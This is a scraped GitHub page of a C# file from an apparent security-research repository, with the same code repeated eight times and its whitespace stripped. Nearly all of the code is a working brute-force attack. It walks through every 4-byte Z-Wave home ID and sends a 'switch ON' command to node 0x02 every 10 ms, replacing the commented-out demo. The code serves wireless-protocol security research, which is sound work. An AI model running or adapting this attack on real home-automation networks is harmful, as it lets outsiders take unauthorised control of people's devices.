ZWave/Program.cs at master · OpenSecurityResearch/ZWave · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
usingSystem;
usingSystem.Collections.Generic;
usingSystem.Text;
usingSystem.Threading;

namespaceZWave_Tester
{
classProgram
{

staticvoidMain(string[]args)
{

//Original code follows below. I am commenting it and instead invoking the BruteForce function
//The BruteForce function brute forces 4 byte home id and only sends the ON message. Also it
//modifies the delay to 10 ms
//Modified the nodeid to be 0x02

Program.Start_BruteFoce();

//byte nodeId = 0x06;

//byte level = 0xFF; // On
//byte[] message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };

//ZWavePort zp = new ZWavePort();
//zp.Open();

//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//level = 0x00; // Off
//message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };
//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//System.Console.ReadLine(); // Wait for the user to terminate the program

//zp.Close();

}

staticvoidStart_BruteFoce()
{
//NodeId modified to 0x02
bytenodeId=0x02;

bytelevel=0xFF;// On

byte[]message_without_homeid=newbyte[]{nodeId,0x03,0x20,0x01,level,0x05,0x00};
byte[]message=newbyte[11];

ZWavePortzp=newZWavePort();
zp.Open();

for(UInt32uiHomeId=0;uiHomeId<UInt32.MaxValue;uiHomeId++)
{
byte[]byteHomeId=BitConverter.GetBytes(uiHomeId);

//The first 4 bytes of this mesasge are homeId
System.Array.Copy(byteHomeId,message,byteHomeId.Length);
System.Array.Copy(message_without_homeid,0,message,4,message_without_homeid.Length);

zp.SendMessage(message);

System.Console.WriteLine("Sending message for homeId: {0}",BitConverter.ToString(byteHomeId));

Thread.Sleep(10);// Wait for 10 milliseconds
}

System.Console.WriteLine("Finished sending all possible values for HomeId. Press any key to exit");
System.Console.ReadLine();// Wait for the user to terminate the program

zp.Close();
}

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
usingSystem;
usingSystem.Collections.Generic;
usingSystem.Text;
usingSystem.Threading;

namespaceZWave_Tester
{
classProgram
{

staticvoidMain(string[]args)
{

//Original code follows below. I am commenting it and instead invoking the BruteForce function
//The BruteForce function brute forces 4 byte home id and only sends the ON message. Also it
//modifies the delay to 10 ms
//Modified the nodeid to be 0x02

Program.Start_BruteFoce();

//byte nodeId = 0x06;

//byte level = 0xFF; // On
//byte[] message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };

//ZWavePort zp = new ZWavePort();
//zp.Open();

//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//level = 0x00; // Off
//message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };
//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//System.Console.ReadLine(); // Wait for the user to terminate the program

//zp.Close();

}

staticvoidStart_BruteFoce()
{
//NodeId modified to 0x02
bytenodeId=0x02;

bytelevel=0xFF;// On

byte[]message_without_homeid=newbyte[]{nodeId,0x03,0x20,0x01,level,0x05,0x00};
byte[]message=newbyte[11];

ZWavePortzp=newZWavePort();
zp.Open();

for(UInt32uiHomeId=0;uiHomeId<UInt32.MaxValue;uiHomeId++)
{
byte[]byteHomeId=BitConverter.GetBytes(uiHomeId);

//The first 4 bytes of this mesasge are homeId
System.Array.Copy(byteHomeId,message,byteHomeId.Length);
System.Array.Copy(message_without_homeid,0,message,4,message_without_homeid.Length);

zp.SendMessage(message);

System.Console.WriteLine("Sending message for homeId: {0}",BitConverter.ToString(byteHomeId));

Thread.Sleep(10);// Wait for 10 milliseconds
}

System.Console.WriteLine("Finished sending all possible values for HomeId. Press any key to exit");
System.Console.ReadLine();// Wait for the user to terminate the program

zp.Close();
}

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
usingSystem;
usingSystem.Collections.Generic;
usingSystem.Text;
usingSystem.Threading;

namespaceZWave_Tester
{
classProgram
{

staticvoidMain(string[]args)
{

//Original code follows below. I am commenting it and instead invoking the BruteForce function
//The BruteForce function brute forces 4 byte home id and only sends the ON message. Also it
//modifies the delay to 10 ms
//Modified the nodeid to be 0x02

Program.Start_BruteFoce();

//byte nodeId = 0x06;

//byte level = 0xFF; // On
//byte[] message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };

//ZWavePort zp = new ZWavePort();
//zp.Open();

//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//level = 0x00; // Off
//message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };
//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//System.Console.ReadLine(); // Wait for the user to terminate the program

//zp.Close();

}

staticvoidStart_BruteFoce()
{
//NodeId modified to 0x02
bytenodeId=0x02;

bytelevel=0xFF;// On

byte[]message_without_homeid=newbyte[]{nodeId,0x03,0x20,0x01,level,0x05,0x00};
byte[]message=newbyte[11];

ZWavePortzp=newZWavePort();
zp.Open();

for(UInt32uiHomeId=0;uiHomeId<UInt32.MaxValue;uiHomeId++)
{
byte[]byteHomeId=BitConverter.GetBytes(uiHomeId);

//The first 4 bytes of this mesasge are homeId
System.Array.Copy(byteHomeId,message,byteHomeId.Length);
System.Array.Copy(message_without_homeid,0,message,4,message_without_homeid.Length);

zp.SendMessage(message);

System.Console.WriteLine("Sending message for homeId: {0}",BitConverter.ToString(byteHomeId));

Thread.Sleep(10);// Wait for 10 milliseconds
}

System.Console.WriteLine("Finished sending all possible values for HomeId. Press any key to exit");
System.Console.ReadLine();// Wait for the user to terminate the program

zp.Close();
}

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
usingSystem;
usingSystem.Collections.Generic;
usingSystem.Text;
usingSystem.Threading;

namespaceZWave_Tester
{
classProgram
{

staticvoidMain(string[]args)
{

//Original code follows below. I am commenting it and instead invoking the BruteForce function
//The BruteForce function brute forces 4 byte home id and only sends the ON message. Also it
//modifies the delay to 10 ms
//Modified the nodeid to be 0x02

Program.Start_BruteFoce();

//byte nodeId = 0x06;

//byte level = 0xFF; // On
//byte[] message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };

//ZWavePort zp = new ZWavePort();
//zp.Open();

//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//level = 0x00; // Off
//message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };
//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//System.Console.ReadLine(); // Wait for the user to terminate the program

//zp.Close();

}

staticvoidStart_BruteFoce()
{
//NodeId modified to 0x02
bytenodeId=0x02;

bytelevel=0xFF;// On

byte[]message_without_homeid=newbyte[]{nodeId,0x03,0x20,0x01,level,0x05,0x00};
byte[]message=newbyte[11];

ZWavePortzp=newZWavePort();
zp.Open();

for(UInt32uiHomeId=0;uiHomeId<UInt32.MaxValue;uiHomeId++)
{
byte[]byteHomeId=BitConverter.GetBytes(uiHomeId);

//The first 4 bytes of this mesasge are homeId
System.Array.Copy(byteHomeId,message,byteHomeId.Length);
System.Array.Copy(message_without_homeid,0,message,4,message_without_homeid.Length);

zp.SendMessage(message);

System.Console.WriteLine("Sending message for homeId: {0}",BitConverter.ToString(byteHomeId));

Thread.Sleep(10);// Wait for 10 milliseconds
}

System.Console.WriteLine("Finished sending all possible values for HomeId. Press any key to exit");
System.Console.ReadLine();// Wait for the user to terminate the program

zp.Close();
}

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
usingSystem;
usingSystem.Collections.Generic;
usingSystem.Text;
usingSystem.Threading;

namespaceZWave_Tester
{
classProgram
{

staticvoidMain(string[]args)
{

//Original code follows below. I am commenting it and instead invoking the BruteForce function
//The BruteForce function brute forces 4 byte home id and only sends the ON message. Also it
//modifies the delay to 10 ms
//Modified the nodeid to be 0x02

Program.Start_BruteFoce();

//byte nodeId = 0x06;

//byte level = 0xFF; // On
//byte[] message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };

//ZWavePort zp = new ZWavePort();
//zp.Open();

//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//level = 0x00; // Off
//message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };
//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//System.Console.ReadLine(); // Wait for the user to terminate the program

//zp.Close();

}

staticvoidStart_BruteFoce()
{
//NodeId modified to 0x02
bytenodeId=0x02;

bytelevel=0xFF;// On

byte[]message_without_homeid=newbyte[]{nodeId,0x03,0x20,0x01,level,0x05,0x00};
byte[]message=newbyte[11];

ZWavePortzp=newZWavePort();
zp.Open();

for(UInt32uiHomeId=0;uiHomeId<UInt32.MaxValue;uiHomeId++)
{
byte[]byteHomeId=BitConverter.GetBytes(uiHomeId);

//The first 4 bytes of this mesasge are homeId
System.Array.Copy(byteHomeId,message,byteHomeId.Length);
System.Array.Copy(message_without_homeid,0,message,4,message_without_homeid.Length);

zp.SendMessage(message);

System.Console.WriteLine("Sending message for homeId: {0}",BitConverter.ToString(byteHomeId));

Thread.Sleep(10);// Wait for 10 milliseconds
}

System.Console.WriteLine("Finished sending all possible values for HomeId. Press any key to exit");
System.Console.ReadLine();// Wait for the user to terminate the program

zp.Close();
}

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
usingSystem;
usingSystem.Collections.Generic;
usingSystem.Text;
usingSystem.Threading;

namespaceZWave_Tester
{
classProgram
{

staticvoidMain(string[]args)
{

//Original code follows below. I am commenting it and instead invoking the BruteForce function
//The BruteForce function brute forces 4 byte home id and only sends the ON message. Also it
//modifies the delay to 10 ms
//Modified the nodeid to be 0x02

Program.Start_BruteFoce();

//byte nodeId = 0x06;

//byte level = 0xFF; // On
//byte[] message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };

//ZWavePort zp = new ZWavePort();
//zp.Open();

//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//level = 0x00; // Off
//message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };
//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//System.Console.ReadLine(); // Wait for the user to terminate the program

//zp.Close();

}

staticvoidStart_BruteFoce()
{
//NodeId modified to 0x02
bytenodeId=0x02;

bytelevel=0xFF;// On

byte[]message_without_homeid=newbyte[]{nodeId,0x03,0x20,0x01,level,0x05,0x00};
byte[]message=newbyte[11];

ZWavePortzp=newZWavePort();
zp.Open();

for(UInt32uiHomeId=0;uiHomeId<UInt32.MaxValue;uiHomeId++)
{
byte[]byteHomeId=BitConverter.GetBytes(uiHomeId);

//The first 4 bytes of this mesasge are homeId
System.Array.Copy(byteHomeId,message,byteHomeId.Length);
System.Array.Copy(message_without_homeid,0,message,4,message_without_homeid.Length);

zp.SendMessage(message);

System.Console.WriteLine("Sending message for homeId: {0}",BitConverter.ToString(byteHomeId));

Thread.Sleep(10);// Wait for 10 milliseconds
}

System.Console.WriteLine("Finished sending all possible values for HomeId. Press any key to exit");
System.Console.ReadLine();// Wait for the user to terminate the program

zp.Close();
}

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
usingSystem;
usingSystem.Collections.Generic;
usingSystem.Text;
usingSystem.Threading;

namespaceZWave_Tester
{
classProgram
{

staticvoidMain(string[]args)
{

//Original code follows below. I am commenting it and instead invoking the BruteForce function
//The BruteForce function brute forces 4 byte home id and only sends the ON message. Also it
//modifies the delay to 10 ms
//Modified the nodeid to be 0x02

Program.Start_BruteFoce();

//byte nodeId = 0x06;

//byte level = 0xFF; // On
//byte[] message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };

//ZWavePort zp = new ZWavePort();
//zp.Open();

//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//level = 0x00; // Off
//message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };
//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//System.Console.ReadLine(); // Wait for the user to terminate the program

//zp.Close();

}

staticvoidStart_BruteFoce()
{
//NodeId modified to 0x02
bytenodeId=0x02;

bytelevel=0xFF;// On

byte[]message_without_homeid=newbyte[]{nodeId,0x03,0x20,0x01,level,0x05,0x00};
byte[]message=newbyte[11];

ZWavePortzp=newZWavePort();
zp.Open();

for(UInt32uiHomeId=0;uiHomeId<UInt32.MaxValue;uiHomeId++)
{
byte[]byteHomeId=BitConverter.GetBytes(uiHomeId);

//The first 4 bytes of this mesasge are homeId
System.Array.Copy(byteHomeId,message,byteHomeId.Length);
System.Array.Copy(message_without_homeid,0,message,4,message_without_homeid.Length);

zp.SendMessage(message);

System.Console.WriteLine("Sending message for homeId: {0}",BitConverter.ToString(byteHomeId));

Thread.Sleep(10);// Wait for 10 milliseconds
}

System.Console.WriteLine("Finished sending all possible values for HomeId. Press any key to exit");
System.Console.ReadLine();// Wait for the user to terminate the program

zp.Close();
}

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
usingSystem;
usingSystem.Collections.Generic;
usingSystem.Text;
usingSystem.Threading;

namespaceZWave_Tester
{
classProgram
{

staticvoidMain(string[]args)
{

//Original code follows below. I am commenting it and instead invoking the BruteForce function
//The BruteForce function brute forces 4 byte home id and only sends the ON message. Also it
//modifies the delay to 10 ms
//Modified the nodeid to be 0x02

Program.Start_BruteFoce();

//byte nodeId = 0x06;

//byte level = 0xFF; // On
//byte[] message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };

//ZWavePort zp = new ZWavePort();
//zp.Open();

//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//level = 0x00; // Off
//message = new byte[] { 0x01, 0x09, 0x00, 0x13, nodeId, 0x03, 0x20, 0x01, level, 0x05, 0x00 };
//zp.SendMessage(message);
//Thread.Sleep(5000); // Wait for 5 seconds

//System.Console.ReadLine(); // Wait for the user to terminate the program

//zp.Close();

}

staticvoidStart_BruteFoce()
{
//NodeId modified to 0x02
bytenodeId=0x02;

bytelevel=0xFF;// On

byte[]message_without_homeid=newbyte[]{nodeId,0x03,0x20,0x01,level,0x05,0x00};
byte[]message=newbyte[11];

ZWavePortzp=newZWavePort();
zp.Open();

for(UInt32uiHomeId=0;uiHomeId<UInt32.MaxValue;uiHomeId++)
{
byte[]byteHomeId=BitConverter.GetBytes(uiHomeId);

//The first 4 bytes of this mesasge are homeId
System.Array.Copy(byteHomeId,message,byteHomeId.Length);
System.Array.Copy(message_without_homeid,0,message,4,message_without_homeid.Length);

zp.SendMessage(message);

System.Console.WriteLine("Sending message for homeId: {0}",BitConverter.ToString(byteHomeId));

Thread.Sleep(10);// Wait for 10 milliseconds
}

System.Console.WriteLine("Finished sending all possible values for HomeId. Press any key to exit");
System.Console.ReadLine();// Wait for the user to terminate the program

zp.Close();
}

}
}